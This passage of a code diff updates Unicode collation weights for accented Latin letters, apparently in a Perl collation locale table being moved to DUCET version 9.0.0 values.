-00C0      ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0113      ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0112      ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-00E9      ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-011B      ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-011A      ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-00E8      ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-00C8      ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-00EA 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-00CA 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-0065 0302 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-0045 0302 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-1EBF      ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-00EA 0301 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00EA 0341 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00CA 0301 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00CA 0341 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00EA 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-00CA 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-0065 0302 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-0045 0302 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-1EC1      ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-00EA 0300 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00EA 0340 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00CA 0300 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00CA 0340 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00EA      ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC5      ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-012B      ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-012A      ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-00ED      ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-01D0      ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-01CF      ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-00EC      ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-00CC      ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-006D 0304 ; [.1D25.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
-004D 0304 ; [.1D25.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
-1E3F      ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-1E3E      ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-006D 030C ; [.1D25.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
-004D 030C ; [.1D25.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
-006D 0300 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
-006D 0340 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
-004D 0300 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
-004D 0340 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
-006E 0304 ; [.1D34.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
-004E 0304 ; [.1D34.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
-0144      ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143      ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-0148      ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-0147      ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-01F9      ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-01F8      ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-014D      ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-014C      ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-00F3      ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-01D2      ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-01D1      ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-00F2      ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-00D2      ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-016B      ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-00FA      ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-01D4      ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-01D3      ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-00F9      ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-00D9      ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-01D6      ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-00FC 0304 ; [.1E30.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
-00DC 0304 ; [.1E30.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
-01D8      ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-00FC 0301 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00FC 0341 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-00DC 0301 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00DC 0341 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-01DA      ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-00FC 030C ; [.1E30.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
-00DC 030C ; [.1E30.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
-01DC      ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-00FC 0300 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00FC 0340 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00DC 0300 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00DC 0340 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00FC      ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0101      ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0100      ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+00E1      ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+01CE      ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+01CD      ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+00E0      ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+00C0      ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0113      ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0112      ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+00E9      ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+011B      ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+011A      ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+00E8      ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+00C8      ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+00EA 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+00CA 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+0065 0302 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+0045 0302 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+1EBF      ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+00EA 0301 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00EA 0341 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00CA 0301 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00CA 0341 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00EA 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+00CA 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+0065 0302 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+0045 0302 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+1EC1      ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+00EA 0300 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00EA 0340 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00CA 0300 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00CA 0340 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00EA      ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC5      ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+012B      ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+012A      ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+00ED      ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+01D0      ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+01CF      ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+00EC      ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+00CC      ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+006D 0304 ; [.1DAA.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
+004D 0304 ; [.1DAA.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
+1E3F      ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+1E3E      ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
